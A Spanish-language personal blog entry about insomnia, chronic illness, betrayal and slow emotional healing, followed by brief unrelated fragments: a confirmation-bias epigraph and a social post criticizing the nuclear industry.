Las horas continúan pasando. La noche no se detiene, se hace día de nuevo. Y la marcha inexorable del tiempo, me recuerda que no dormí nada, y que tengo que levantarme. Que tengo que empezar de nuevo, sin siquiera haber terminado. Que tengo que seguir, sin siquiera haber descansado. Que a pesar de que yo no puedo hacerlo, el mundo, la vida, la gente, las cosas, todo tiene que continuar. Y me cuesta mucho darme cuenta de que tengo que hacer lo mismo.
Soy un software. Yo misma me programo para seguir órdenes, ritmos, actividades, para hacer cosas. Para no detenerme. Y claro, yo sé de eso, de programar, de hacer que las aplicaciones hagan lo que necesito que hagan. Para eso me programé. Para hacer lo que necesito hacer, ni nada más ni nada menos. Para seguir una lógica. Un conjunto de instrucciones predeterminadas, que logran que las cosas, salgan relativamente bien. Y funciona. Para todo lo demás, funciona. Pero para mi mente, no.
Me duele la cabeza, la panza; Todos los días. Voy al médico. El diagnóstico, al fin, al momento de publicar esta entrada, ya lo sé. Celiaquía. Pero es el estrés, el que hace que se agrave la enfermedad. Quedarme despierta, no sirve, porque al día siguiente tengo sueño. Empiezo a tomar té de tilo, y ahora sí, puedo dormir. Pero dormir, tampoco sirve. Porque cuando duermo, duermo mal, tengo pesadillas. Y me despierto más asustada y cansada que antes. A veces me despierto a la madrugada y lloro, no puedo evitarlo. No puedo evitar pensar, recordar, intentar entender el por qué de todo. Los recuerdos, la tortura constante de lo que me acontece, es como un puñal que vuelve a clavarse una y otra y otra vez, en mi mente, en mi alma, un alma, que al menos por ahora, está rota. Y que necesita sanar.
Intento hablar, y no puedo. No me sale explicar cosas que ni yo misma puedo entender. Me ha pasado muchas veces. Esta, es una más de ellas. Intento escribir. Estas líneas y las anteriores, van formando una secuencia que me ayuda a sacar afuera lo que llevo dentro, aunque nadie entienda realmente de qué se trata. Y como dije, no puedo hablar. Solo llorar, escribir, intentar soñar, intentar dormir bien, intentar no despertarme a la madrugada, intentar buscar soluciones. Explorar todas las variables posibles en esta aplicación de la vida. Una aplicación que, aunque creas que podés planificarla, programarla de alguna forma, al parecer, no es solo una cuestión de voluntad. Es mucho más que eso. Y es muy difícil darte cuenta de que, aunque creas tener el control de todo, hay muchísimas cosas que se te van a escapar. Porque no todo depende de vos, de mí, ,de cualquier otra persona. Depende de muchas más cosas, de muchísimos factores externos.
Intento llevar un diario. Con fechas, situaciones, ideas, cosas que se me ocurren, etc. Me sirve. Me ayuda a tratar de, si bien ya sé que tengo el control de muy pocas cosas, por lo menos intentar tenerlo sobre mí misma. Es bueno, es sanador, es desestresante, de alguna forma. Pero a la noche, siempre a la noche, me encuentro sola. Con mi mente, mis fantasmas. Una mezcla horrible de sucesos reales, con otros que jamás ocurrieron, con otros que podrían ocurrir, y otros que jamás tal vez ocurrirán. ¿O sí? No lo sé, ya no lo sé. Ya no estoy segura de nada.
Me siento una estúpida. Por confiar tanto en las personas, toda mi vida. Por creer que el mundo está lleno de buenas personas. Por pensar que, por ser discapacitada no iban a querer lastimarme. Que error, que grave error. Durante toda mi vida confié demasiado. Y no debería haberlo hecho.
—No te digas estúpida. Porque si te lo repetís mucho, te lo vas a creer. No fuiste estúpida, fuiste ingenua. Confiaste en las personas equivocadas. Y por eso te pasó lo que sea que te haya pasado. Pero podés salir de eso, aprender. Es lo que tenés que hacer, para que no vuelva a pasarte. Y vengarte. Sí, pagarles con la misma moneda, a aquellos que te hicieron daño. O si podés, mucho peor. Dejarlos tan destruidos hasta que no quede ni un despojo de esas personas. —Me dijo una persona a la que solo pude contarle que traicionaron mi confianza, esta vez, por última vez. ¿Quiero? ¿Puedo? ¿Debo? Siguen siendo las preguntas esenciales que tengo que hacerme.
Continúo preguntándome: ¿Por qué? ¿Por qué a mí? ¿Por qué yo? Realmente, no creo merecerlo. No creo ser tan mala persona como para tener que sufrir tanto. Sinceramente, no lo entiendo, no puedo terminar de entenderlo. A veces creo que nunca lo voy a entender.
—Lo que pasa es que vos pensás que todo el mundo es bueno. Y lamentablemente, está muy lleno de gente de mierda. Gente egoísta que no mira más allá de su propio ombligo. Y es horrible. Pero es así. Y tenés que aprender a no confiar. Lamentablemente también, a las personas más buenas, les pasan las peores cosas. Es así, es el karma de la vida, —me dijo una persona cercana a mí.
Lo intento cuando me ducho. Me quedo bajo el agua durante largos ratos, esperando que todo lo malo se vaya. Intento rituales de sanación espiritual, meditación, técnicas de respiración y relajación. Lo intento todo. Y todo sirve, me ayuda a ir saliendo de a poco. Pero a veces, no puedo. Me inventé un mantra. Empiezo a contar, cada vez que subo y que bajo, que me levanto y vuelvo a caer: 0, 1, 2, 3. 0, 1, 2, 3. Ni un número más. ninguno. Solo hasta ahí. Y vuelvo a repetir: 0, 1, 2, 3. 0, 1, 2, 3. A continuación, una pregunta inocente, pequeña, infantil, perturba mi mente. Y la respuesta, no me gusta para nada.
—¿Qué poder te gustaría tener?
—Volar, —respondo inmediatamente.
—No, pero dejame terminar la frase. ¿El fuego, o el hielo?
—El fuego, como los dragones.
—Y pero te gusta Frozen. ¿No te gustaría tener el poder del hielo?
—Sí, me gusta Frozen, pero no quiere decir que me guste su poder. Me gusta el fuego, y volar. Porque me gustan los dragones. Y los dragones, vuelan y escupen fuego.
Sí, me gustaría ser una dragona. Grande, majestuosa, poderosa. Mirar a la luna llena un día y convertirme en una. Así nadie jamás se burlaría de mí. Nadie más me traicionaría, nadie más se reiría en mi cara, nunca más. Volar y escupir fuego a todo aquel que se atreva a intentar tomarme por estúpida. A todo aquel que se atreva a intentar tomarme el pelo, a jugar conmigo. Esa sería mi venganza perfecta. Ese sería mi daño, mi poder. La mayor expresión de mi ira. Pero eso no existe más que en mi imaginación. Y ahí se queda, ahí termina. Ahí encuentra su punto final. ¿Entonces, qué hago? ¿Qué puedo, quiero, o debo hacer? No tengo respuestas para eso.
No me importa qué digan de mí, no me importa lo que piensen. No me importa que crean que me estoy victimizando. No importa si piensan que estoy exagerando. Ya no me importa. Solo me importa lo que pienso, lo que siento en estos momentos. Estoy enojada conmigo, con el mundo, con la vida. Estoy… Sí, angustiada. Muy angustiada. Quiero llorar, gritar, hacer estallar todo en este preciso instante. Siempre traté de brindarme a los demás, sin intentar recibir nada a cambio. Pero hubo quienes se aprovecharon de mi bondad, de mi ingenuidad, y por último, de mi confianza. Por eso, ya nada ni nadie me importa. Solo, la gente que sé que realmente me quiere, y a la que sé que realmente le importo.
Salgo. Me junto con amigas. 0, 1, 2, 3 veces. Las veces que lo necesite. Salgo a pasear, visito a familiares. Voy a la plaza. Camino, camino mucho. Voy hacia ninguna parte, a la nada misma. Mi cuerpo sabe hacia donde tiene que ir, qué tiene que hacer. Pero mi mente, al menos por un rato, lo olvida. Solo salgo, y camino. Las voces, los ruidos de los autos, colectivos, motos, camiones, bicicletas, todo me distrae, me lleva hacia otro lado. Los perros, los chicos, todo me transporta. Continúo caminando. El sol en mi cara, alumbrándome como diciéndome: «hola, estoy acá. No estás sola. Siempre voy a estar para acompañarte, a menos que sea de noche, o esté nublado. Si es de noche, vas a tener a tu luna, a tu querida y tan adorada luna». Me saca una leve sonrisa. El viento me empuja hacia atrás, como queriéndose llevar la parte baja de mi vestido, mi cartera, y a mí misma. Pero por un tiempo, logra llevarse todo lo malo, lo negativo. Sé que, como en los casos anteriores, solo van a ser momentos de pequeña paz, antes de que mi mente, caiga en sus propias guerras. Pero eso, al menos por ahora, me sirve, me alcanza. Funciona. Quisiera quedarme así, en calma, en paz. Ya no tener que pensar en nada más que solo el ruido, y mi mente en blanco, o diciéndome: «vos podés, dale que vos podés. Pudiste con mucho. Esto no tiene que ser la excepción. Tenés que salir adelante, tenés que seguir. Porque sos fuerte, sos valiente. Solo tenés que dejar todo eso atrás, y seguir adelante». Sí, dale, cuando vos quieras che. Posta que es re fácil genia. Sos re grosa conciencia, e. Calladita te ves más bonita. ¿Nunca te dijeron eso? Bueno, vos fijate que es así loca. No puedo. Lo intento, y muchas veces siento que no puedo. Intento que mi mente quede en blanco de nuevo. Continúo caminando. Despacio, muy despacio. Sé que quienes me vieran, no me reconocerían, no sabrían que soy yo.
Estoy a punto de cruzar una calle. Faltan unos metros para llegar a la esquina. Un señor grande se me acerca y me pregunta:
—¿Disculpame, vas a cruzar nena?
—Sí, —le respondo.
Llego a la esquina. él se acerca despacio. Lo tomo del hombro. Esperamos que los autos pasen para poder cruzar…
—Hace rato que no te veía, que no nos encontrábamos. —Me dice. Ahí, le reconozco la voz.
—¿Como andás? Estás muy linda. Me alegro muchísimo que estés así. Que puedas ser feliz. Me alegro mucho, enserio. De todo corazón. —Me dice. Y sé que no lo dice con malicia, ni con ningún otro tipo de mala intención.
Recuerdo nuestras charlas, sus luchas, la marcha a la que fuimos. Las historias compartidas, y lo que no me animé a contarle. Lo que ahora él, se dio cuenta. El cambio que vio en mí. Fue hace ya un largo tiempo cuando nos conocimos, y cuando nos vimos por última vez… Vamos cruzando la calle despacio, muy despacio, a su ritmo. Los autos y colectivos esperan pacientes a que terminemos de pasar.
—Muchísimas gracias. —Le respondo—. Realmente me hace muy bien todo lo que me está diciendo. Mis luchas se están poniendo complicadas, pero ya tengo mi DNI, y ese sé que es un enorme logro.
—De nada chiquita, no tenés nada que agradecer. Las luchas son complicadas, pero siempre hay una luz al final del túnel. Te lo dice un sobreviviente, vos sabés… Bueno, te dejo. ¿De acá ya podés seguir solita?
—Sí, —le respondo—. ¡Muchas gracias de nuevo!
Tal vez sí, tal vez es así. Tal vez, solo tenemos que dejar pasar el tiempo, y esperar a que las cosas se vayan acomodando, para que de una vez por todas, empecemos a sanar. A dejar todo lo malo atrás. Pero, no podemos hacerlo solos, él, tampoco pudo. Y ahí, es donde también están las personas que quieren vernos bien, a las que les importamos. Y además, las personitas más importantes de este mundo para mí. Esas personitas especiales sin las que, todas las luchas, metas y objetivos, no tendrían el mismo significado, no serían iguales. Tal vez, como dice mi hermano, encontramos esas respuestas, caminando por la calle. tal vez, en realidad, solo encontramos, más preguntas. Tal vez, aunque vayamos y vengamos, siempre terminamos en el mismo lugar…
Matías Barberis: «El mismo lugar».
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Cognitive Traps - part I
>>| Confirmation Bias |<<“It's easy to find what you’re looking for.
It’s hard to see what you’d rather not.” -
Logical Elements - Humanit (Ancestral Lullabies, Vol. 1, 2003)
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@logical_map Oh, I have plenty of posts here (and when I was on the Bird Site) about all the nuclear companies involved in under-estimating costs, fudging on safety to save money, falsifying documents (including dosimeter readings), etc. Most of the examples I know of are here in the US or in Japan, but there's controversy surrounding facilities in the UK, France, etc. It's so bad, I use the hashtag, #NuclearPowerCorruptionAndLies (a play on the New Order album, "Power Corruption and Lies").